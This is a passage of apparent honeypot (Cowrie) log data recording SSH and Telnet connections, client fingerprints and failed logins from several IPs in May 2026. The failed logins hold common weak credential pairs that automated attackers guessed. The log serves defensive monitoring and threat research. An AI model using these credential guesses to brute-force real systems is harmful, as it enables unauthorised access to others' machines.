0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.269021Z","src_ip":"45.156.87.204","session":"3471f0517131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65858483314514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.349106Z","src_ip":"152.42.224.71","session":"9a1b060c78fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.917057037353516,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.489140Z","src_ip":"152.42.224.71","session":"6a7568123ddf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.517716Z","src_ip":"45.156.87.204","session":"3471f0517131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:15.534434Z","src_ip":"47.237.167.49","session":"8d23347cee86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:15.603107Z","src_ip":"45.156.87.204","session":"3471f0517131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53946,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86bba60e240","protocol":"telnet","message":"New connection: 152.42.224.71:53946 (10.17.0.5:23) [session: f86bba60e240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:15.798086Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:16.448849Z","src_ip":"47.237.167.49","session":"fa6b1395f6b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48768,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f41ec9fe3cd","protocol":"ssh","message":"New connection: 45.156.87.204:48768 (159.203.135.109:22) [session: 0f41ec9fe3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:17.600771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:17.728369Z","src_ip":"45.156.87.204","session":"0f41ec9fe3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:17.732474Z","src_ip":"45.156.87.204","session":"0f41ec9fe3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:18.094518Z","src_ip":"45.156.87.204","session":"0f41ec9fe3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"61.8","message":"Connection lost after 61.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:18.260341Z","src_ip":"47.237.167.49","session":"8d23347cee86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":42180,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d70c3dee134","protocol":"ssh","message":"New connection: 45.183.70.66:42180 (159.203.135.109:22) [session: 9d70c3dee134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:18.912170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:18.917026Z","src_ip":"45.183.70.66","session":"9d70c3dee134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:19.038308Z","src_ip":"45.183.70.66","session":"9d70c3dee134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:19.181147Z","src_ip":"45.156.87.204","session":"0f41ec9fe3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kv123456","message":"login attempt [root/Kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:19.541315Z","src_ip":"45.183.70.66","session":"9d70c3dee134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:20.663093Z","src_ip":"45.183.70.66","session":"9d70c3dee134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38562,"dst_ip":"10.17.0.5","dst_port":23,"session":"6588de25e7ee","protocol":"telnet","message":"New connection: 152.42.224.71:38562 (10.17.0.5:23) [session: 6588de25e7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:20.762595Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":55040,"dst_ip":"159.203.135.109","dst_port":22,"session":"16faeb3317cc","protocol":"ssh","message":"New connection: 119.28.114.76:55040 (159.203.135.109:22) [session: 16faeb3317cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:20.841867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:20.846843Z","src_ip":"119.28.114.76","session":"16faeb3317cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.076587Z","src_ip":"119.28.114.76","session":"16faeb3317cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48782,"dst_ip":"159.203.135.109","dst_port":22,"session":"563b846aa53d","protocol":"ssh","message":"New connection: 45.156.87.204:48782 (159.203.135.109:22) [session: 563b846aa53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.146871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.151894Z","src_ip":"45.156.87.204","session":"563b846aa53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.163720Z","src_ip":"47.237.167.49","session":"fa6b1395f6b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.238631Z","src_ip":"45.156.87.204","session":"563b846aa53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:21.496309Z","src_ip":"45.156.87.204","session":"563b846aa53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:22.030346Z","src_ip":"119.28.114.76","session":"16faeb3317cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38574,"dst_ip":"10.17.0.5","dst_port":23,"session":"56848bd284fa","protocol":"telnet","message":"New connection: 152.42.224.71:38574 (10.17.0.5:23) [session: 56848bd284fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:22.487439Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:22.672119Z","src_ip":"45.156.87.204","session":"563b846aa53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:23.262313Z","src_ip":"119.28.114.76","session":"16faeb3317cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55542,"dst_ip":"159.203.135.109","dst_port":22,"session":"62342d537031","protocol":"ssh","message":"New connection: 45.156.87.204:55542 (159.203.135.109:22) [session: 62342d537031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:24.522955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:24.527755Z","src_ip":"45.156.87.204","session":"62342d537031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:24.613699Z","src_ip":"45.156.87.204","session":"62342d537031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:24.863166Z","src_ip":"45.156.87.204","session":"62342d537031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:25.949322Z","src_ip":"45.156.87.204","session":"62342d537031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f6435b2777","protocol":"telnet","message":"New connection: 152.42.224.71:33664 (10.17.0.5:23) [session: d5f6435b2777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:27.691268Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":57030,"dst_ip":"159.203.135.109","dst_port":22,"session":"febfbc1aec5f","protocol":"ssh","message":"New connection: 170.106.151.211:57030 (159.203.135.109:22) [session: febfbc1aec5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.146019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.150323Z","src_ip":"170.106.151.211","session":"febfbc1aec5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55558,"dst_ip":"159.203.135.109","dst_port":22,"session":"e02c2a6c5ebe","protocol":"ssh","message":"New connection: 45.156.87.204:55558 (159.203.135.109:22) [session: e02c2a6c5ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.184110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.188186Z","src_ip":"45.156.87.204","session":"e02c2a6c5ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.217920Z","src_ip":"170.106.151.211","session":"febfbc1aec5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.270775Z","src_ip":"45.156.87.204","session":"e02c2a6c5ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.516655Z","src_ip":"45.156.87.204","session":"e02c2a6c5ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Teste123","message":"login attempt [root/Teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:28.526008Z","src_ip":"170.106.151.211","session":"febfbc1aec5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:29.597134Z","src_ip":"170.106.151.211","session":"febfbc1aec5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:29.601921Z","src_ip":"45.156.87.204","session":"e02c2a6c5ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"a247a8bbebbf","protocol":"telnet","message":"New connection: 152.42.224.71:33670 (10.17.0.5:23) [session: a247a8bbebbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:29.606977Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55574,"dst_ip":"159.203.135.109","dst_port":22,"session":"163b4c4c21f1","protocol":"ssh","message":"New connection: 45.156.87.204:55574 (159.203.135.109:22) [session: 163b4c4c21f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:31.579314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:31.583280Z","src_ip":"45.156.87.204","session":"163b4c4c21f1","protocol":"ssh"}
